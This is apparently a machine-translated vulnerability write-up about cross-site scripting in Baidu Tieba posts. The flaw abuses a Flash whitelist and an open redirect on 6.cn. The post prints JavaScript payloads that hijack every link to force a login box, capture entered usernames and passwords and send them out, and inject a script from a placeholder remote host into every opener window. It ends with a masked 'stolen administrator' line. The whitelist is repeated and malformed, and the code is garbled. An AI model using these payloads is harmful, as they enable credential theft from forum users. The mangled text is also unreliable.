Baidu Post Bar cross-site details

Some security problems such as QQ and Baidu were discovered some time ago. QQ's sensitive information cannot be sent out. Just pick several sections of Baidu's details and send them out.
Vulnerability details:
Baidu X Bar posts allow sending FLASH videos with specified whitelist URLs. The whitelist is as follows:

FlashWhiteList: ["<a href =" http://www.tudou.com/v/ "," http://www.tudou.com/player/playlist.swf?lid= "," http://6.cn/ "," http://player.ku6.com/refer/ "," http://img.ku6.com/common/V2.0.baidu.swf?vid= "," http://tv.mofile.com/cn/xplayer.swf?v= "," http://v.blog.sohu.com/fo/v4/ "," http://v.blog.sohu.com/fo/p4/ "," http://img.openv.tv/hd/swf/hd_player.swf?pid= "," http://www.cnboo.com/flash/player.swf?ids= "," http://video.pomoho.com/swf/out_player.swf?flvid= "," http://video.cctv.com/flash/cctv_player.swf?VideoID= "," http://misc.home.news.cn/video/swf/VideoDisplay.swf?videoSource= "," http://mv.baidu.com/export/flashplayer.swf?playlist= "," http://mv.baidu.com/export/flashplayer.swf?vid= "," http://client.joy.cn/flvplayer/ "," http://player.youku.com/player.php /Sid /"," http://you.video.sina.com.cn/api/sinawebApi/outplayrefer.php "," http://xiyou.cntv.cn/player/OTvideoplayer.swf "," http://player.youku.com/player.php "," http://player.video.qiyi.com/ > http://www.tudou.com/v/ % 22, % 22 http://www.tudou.com/player/playlist.swf?lid= "," http://6.cn/ "," http://player.ku6.com/refer/ "," http://img.ku6.com/common/V2.0.baidu.swf?vid= "," http://tv.mofile.com/cn/xplayer.swf?v= "," http://v.blog.sohu.com/fo/v4/ "," http://v.blog.sohu.com/fo/p4/ "," http://img.openv.tv/hd/swf/hd_player.swf?pid= "," http://www.cnboo.com/flash/player.swf?ids= "," http://video.pomoho.com/swf/out_player.swf?flvid= "," http://video.cctv.com/flash/cctv_player.swf?VideoID= "," http://misc.home.news.cn/video/swf/VideoDisplay.swf?videoSource= "," http://mv.baidu.com/export/flashplayer.swf?playlist= "," http://mv.baidu.com/export/flashplayer.swf?vid= "," http://client.joy.cn/flvplayer/ "," http://player.youku.com/player.php /Sid /"," http://you.video.sina.com.cn/api/sinawebApi/outplayrefer.php "," http://xiyou.cntv.cn/player/OTvideoplayer.swf "," http://player.youku.com/player.php "," http://player.video.qiyi.com/ "> http://www.tudou.com/v/ "," http://www.tudou.com/player/playlist.swf?lid= "," http://6.cn/ "," http://player.ku6.com/refer/ "," http://img.ku6.com/common/V2.0.baidu.swf?vid= "," http://tv.mofile.com/cn/xplayer.swf?v= "," http://v.blog.sohu.com/fo/v4/ "," http://v.blog.sohu.com/fo/p4/ "," http://img.openv.tv/hd/swf/hd_player.swf?pid= "," http://www.cnboo.com/flash/player.swf?ids= "," http://video.pomoho.com/swf/out_player.swf?flvid= "," http://video.cctv.com/flash/cctv_player.swf?VideoID= "," http://misc.home.news.cn/video/swf/VideoDisplay.swf?videoSource= "," http://mv.baidu.com/export/flashplayer.swf?playlist= "," http://mv.baidu.com/export/flashplayer.swf?vid= "," http://client.joy.cn/flvplayer/ "," http://player.youku.com/player.php /Sid /"," http://you.video.sina.com.cn/api/sinawebApi/outplayrefer.php "," http://xiyou.cntv.cn/player/OTvideoplayer.swf "," http://player.youku.com/player.php "," http://player.video.qiyi.com/ "]
Copy code

Hackers only need to find a vulnerability that can embed FLASH in the whitelist URL:
Http://6.cn/logout.php? Next_action = http: // xxxxxx/xxxx.swf
The FLASH function is to embed a js in the current page, and embed a js across pages in a reference window with an association relationship. That is, all webpages browsed by x can be automatically embedded into js. The function of this JS script is to hijack a user's click, force a user to log on, and record the password entered by the user!

Some code is as follows:
1. hijack all links on the webpage and force the logon box to pop up.

For (I = 0; I <document. links. length; I ++ ){

Document. links [I]. onclick = function (){

TbUtil. login (); // The logon function provided by Bar x. The logon dialog box is displayed.

Return false;

}

}
Copy code

2. input in the hijack logon box, obtain the user name and password entered by the user, and secretly send it to a remote device.

Document. onkeyup = function (){

Document. forms [PassFormlogin]. onsubmit = function (){

Pwd = this. PassInputUsername0.value + | + this. PassInputPassword0.value;

Log (escape (pwd ));

}

}
Copy code

3. Cross-page hijacking window

Function I _(){

With (document) {getElementsByTagName (head) [0]. appendChild (createElement (script). src = http: // xxx/xxx. js;

}

} I _()

 

W _ = window;

While (w _ = w _. opener ){

Try {

W _. eval (I _. toString () + I _())

} Catch (e ){}

}
Copy code

Details of the stolen administrator:
Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx